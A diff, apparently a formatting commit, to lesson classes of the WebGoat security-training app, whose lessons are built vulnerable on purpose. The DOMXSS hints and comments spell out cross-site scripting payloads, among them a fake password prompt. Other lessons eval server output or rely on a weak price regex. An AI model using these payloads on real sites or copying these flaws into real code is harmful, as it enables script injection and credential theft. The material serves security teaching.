+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;."; + "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.";
@ -186,28 +186,28 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }

View File

@ -129,11 +129,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -187,28 +187,28 @@ public class DBSQLInjection extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }

View File

@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -61,11 +61,11 @@ public class DOMInjection extends LessonAdapter
.setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
String userKey = s.getParser().getRawParameter(KEY, ""); String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", ""); String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key)) if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
@ -74,11 +74,10 @@ public class DOMInjection extends LessonAdapter
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;"); out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush(); out.flush();
out.close(); out.close();
return ; return;
} }
} catch (Exception e) } catch (Exception e)
@ -91,21 +90,19 @@ public class DOMInjection extends LessonAdapter
setContent(form); setContent(form);
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getRequest().getMethod().equalsIgnoreCase("POST") ) if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{ {
makeSuccess(s); makeSuccess(s);
} }
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep String script = "<script>" + lineSep + "function validate() {" + lineSep
+ "function validate() {"
+ lineSep
+ "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink() + "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep + "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
@ -113,18 +110,13 @@ public class DOMInjection extends LessonAdapter
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep + lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep + " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep + "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;" + lineSep + " if (req.status == 200) { " + lineSep + " var message = req.responseText;"
+ " var result = req.responseXML.getElementsByTagName('reward');" + lineSep + lineSep + " var result = req.responseXML.getElementsByTagName('reward');" + lineSep
+ " var messageDiv = document.getElementById('MessageDiv');" + lineSep + " var messageDiv = document.getElementById('MessageDiv');" + lineSep + " try {" + lineSep
+ " try {" + lineSep
+ " eval(message);" + lineSep + " " + lineSep + " eval(message);" + lineSep + " " + lineSep
+ " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " }" + lineSep
+ " }" + lineSep + " catch(err)" + lineSep + " { " + lineSep + " messageDiv.innerHTML = 'Wrong license key.'"
+ " catch(err)" + lineSep + lineSep + "} " + lineSep + " }}}" + lineSep + "</script>" + lineSep;
+ " { " + lineSep
+ " messageDiv.innerHTML = 'Wrong license key.'" + lineSep
+ "} " + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:"))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
@ -147,7 +139,6 @@ public class DOMInjection extends LessonAdapter
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
Input b = new Input(); Input b = new Input();
b.setType(Input.SUBMIT); b.setType(Input.SUBMIT);

View File

@ -183,13 +183,16 @@ public class DOMXSS extends SequentialLessonAdapter
hints.add("Stage 2: Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;"); hints.add("Stage 2: Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;");
hints.add("Stage 3: Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;"); hints.add("Stage 3: Try entering the following: "
+ "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Stage 4: Try entering the following: " hints
.add("Stage 4: Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"); + "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
hints.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); hints
.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version).");
// Attack Strings: // Attack Strings:
// <IMG SRC="images/logos/owasp.jpg"/> // <IMG SRC="images/logos/owasp.jpg"/>
@ -201,7 +204,8 @@ public class DOMXSS extends SequentialLessonAdapter
// Please enter your password:<BR><input type = "password" name="pass"/><button // Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I // onClick="javascript:alert('I
// have your password: ' + // have your password: ' +
// pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> // pass.value);
// ">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints; return hints;
} }

View File

@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -88,7 +87,7 @@ public class DangerousEval extends LessonAdapter
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement("<script src='javascript/eval.js'> </script>"); ec.addElement("<script src='javascript/eval.js'> </script>");
//<script src='javascript/sameOrigin.js' language='JavaScript'></script> // <script src='javascript/sameOrigin.js' language='JavaScript'></script>
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
@ -203,7 +202,7 @@ public class DangerousEval extends LessonAdapter
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());

View File

@ -66,11 +66,11 @@ public class DeleteProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -95,8 +95,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -69,11 +69,11 @@ public class FindProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
@ -139,8 +139,8 @@ public class FindProfile extends DefaultLessonAction
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
} }

View File

@ -220,29 +220,29 @@ public class GoatHillsFinancial extends RandomLessonAdapter
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }

View File

@ -75,11 +75,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -58,11 +58,11 @@ public class Logout extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }

View File

@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -104,8 +104,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -68,7 +68,7 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99"; private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit! // interesting exploit!
Pattern pattern1 = Pattern.compile(regex); Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep

View File

@ -294,8 +294,8 @@ public class HttpOnly extends LessonAdapter
t.addElement(tr); t.addElement(tr);
/* /*
* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); * tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); t.addElement(tr);
* t.addElement(tr); if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div * if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
* id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div * id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
* id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new * id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
* StringElement("<br/>")))); * StringElement("<br/>"))));

View File

@ -6,7 +6,6 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -24,10 +23,9 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public class InsecureLogin extends SequentialLessonAdapter public class InsecureLogin extends SequentialLessonAdapter
{ {
private final static String USER = "clear_user"; private final static String USER = "clear_user";
private final static String PASSWORD = "clear_pass"; private final static String PASSWORD = "clear_pass";
private final static String ANSWER = "clear_answer"; private final static String ANSWER = "clear_answer";
@ -45,33 +43,36 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
@Override @Override
protected Element doStage1(WebSession s) throws Exception { protected Element doStage1(WebSession s) throws Exception
String answer = s.getParser().getStringParameter(ANSWER,""); {
String answer = s.getParser().getStringParameter(ANSWER, "");
if (answer.equals("sniffy")) if (answer.equals("sniffy"))
{ {
s.setMessage("You completed Stage 1!"); s.setMessage("You completed Stage 1!");
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
} }
return createMainContent(s); return createMainContent(s);
} }
@Override @Override
protected Element doStage2(WebSession s) throws Exception { protected Element doStage2(WebSession s) throws Exception
String protocol = s.getParser().getStringParameter(PROTOCOL,""); {
String yesno = s.getParser().getStringParameter(YESNO,""); String protocol = s.getParser().getStringParameter(PROTOCOL, "");
String yesno = s.getParser().getStringParameter(YESNO, "");
if(yesno.equals("No") && protocol.equals("TLS"))
if (yesno.equals("No") && protocol.equals("TLS"))
{ {
makeSuccess(s); makeSuccess(s);
} }
return createMainContent(s); return createMainContent(s);
} }
/** /**
* Creation of the main content * Creation of the main content
*
* @param s * @param s
* @return Element * @return Element
*/ */
@ -83,7 +84,8 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
style sty = new style(); style sty = new style();
sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); sty
.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
ec.addElement(sty); ec.addElement(sty);
Div wrapperDiv = new Div(); Div wrapperDiv = new Div();
@ -99,10 +101,10 @@ public class InsecureLogin extends SequentialLessonAdapter
wrapperDiv.addElement(workspaceDiv); wrapperDiv.addElement(workspaceDiv);
ec.addElement(wrapperDiv); ec.addElement(wrapperDiv);
String user = s.getParser().getStringParameter(USER, ""); String user = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, ""); String password = s.getParser().getStringParameter(PASSWORD, "");
if(!(user+password).equals("") && correctLogin(user, password, s)) if (!(user + password).equals("") && correctLogin(user, password, s))
{ {
workspaceDiv.addElement(createSuccessfulLoginContent(s, user)); workspaceDiv.addElement(createSuccessfulLoginContent(s, user));
} }
@ -118,16 +120,18 @@ public class InsecureLogin extends SequentialLessonAdapter
return (ec); return (ec);
} }
/** /**
* Create content for logging in * Create content for logging in
*
* @param ec * @param ec
*/ */
private Element createLogInContent() { private Element createLogInContent()
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Div loginDiv = new Div(); Div loginDiv = new Div();
loginDiv.setID("lesson_login"); loginDiv.setID("lesson_login");
Table table = new Table(); Table table = new Table();
table.addAttribute("align='center'", 0); table.addAttribute("align='center'", 0);
TR tr1 = new TR(); TR tr1 = new TR();
@ -146,7 +150,6 @@ public class InsecureLogin extends SequentialLessonAdapter
tr2.addElement(td3); tr2.addElement(td3);
tr2.addElement(td4); tr2.addElement(td4);
TR tr3 = new TR(); TR tr3 = new TR();
TD td5 = new TD(); TD td5 = new TD();
td5.setColSpan(2); td5.setColSpan(2);
@ -163,9 +166,6 @@ public class InsecureLogin extends SequentialLessonAdapter
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
@ -187,16 +187,11 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Stage 1: Use a sniffer to record " + hints.add("Stage 1: Use a sniffer to record " + "the traffic");
"the traffic");
hints.add("Stage 1: What Protocol does the request use?"); hints.add("Stage 1: What Protocol does the request use?");
hints.add("Stage 1: What kind of request is started when " + hints.add("Stage 1: What kind of request is started when " + "you click on the button?");
"you click on the button?"); hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer");
hints.add("Stage 1: Take a closer look at the HTTP Post request in " +
"your sniffer");
hints.add("Stage 1: The password field has the name clear_pass"); hints.add("Stage 1: The password field has the name clear_pass");
return hints; return hints;
} }
@ -217,31 +212,28 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
return ("Insecure Login"); return ("Insecure Login");
} }
@Override @Override
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
String instructions = ""; String instructions = "";
instructions = "<b>For this lesson you need to " + instructions = "<b>For this lesson you need to " + "have a server client setup. Please refer to the"
"have a server client setup. Please refer to the" + + "Tomcat Configuration in the Introduction section.</b><br><br> Stage" + stage + ": ";
"Tomcat Configuration in the Introduction section.</b><br><br> Stage" +
stage + ": ";
if (stage == 1) if (stage == 1)
{ {
instructions += "In this stage you have to sniff the " + instructions += "In this stage you have to sniff the "
"password. And answer the question after the login."; + "password. And answer the question after the login.";
} }
if (stage == 2) if (stage == 2)
{ {
instructions += "Now you have to change to a secure " + instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// "
"connection. The URL should start with https:// " + + "If your browser is complaining about the certificate just "
"If your browser is complaining about the certificate just " + + "ignore it. Sniff again the traffic and answer the" + " questions";
"ignore it. Sniff again the traffic and answer the" +
" questions";
} }
return instructions; return instructions;
} }
/** /**
* See if the password and corresponding user is valid * See if the password and corresponding user is valid
* *
@ -273,8 +265,7 @@ public class InsecureLogin extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -282,8 +273,7 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -292,7 +282,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return false; return false;
} }
/** /**
* Create content after a successful login * Create content after a successful login
* *
@ -302,7 +292,7 @@ public class InsecureLogin extends SequentialLessonAdapter
private Element createSuccessfulLoginContent(WebSession s, String user) private Element createSuccessfulLoginContent(WebSession s, String user)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String userDataStyle = "margin-top:50px;"; String userDataStyle = "margin-top:50px;";
Div userDataDiv = new Div(); Div userDataDiv = new Div();
@ -348,9 +338,9 @@ public class InsecureLogin extends SequentialLessonAdapter
userDataDiv.addElement(table); userDataDiv.addElement(table);
ec.addElement(userDataDiv); ec.addElement(userDataDiv);
ec.addElement(createLogoutLink()); ec.addElement(createLogoutLink());
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
if(stage == 1) if (stage == 1)
{ {
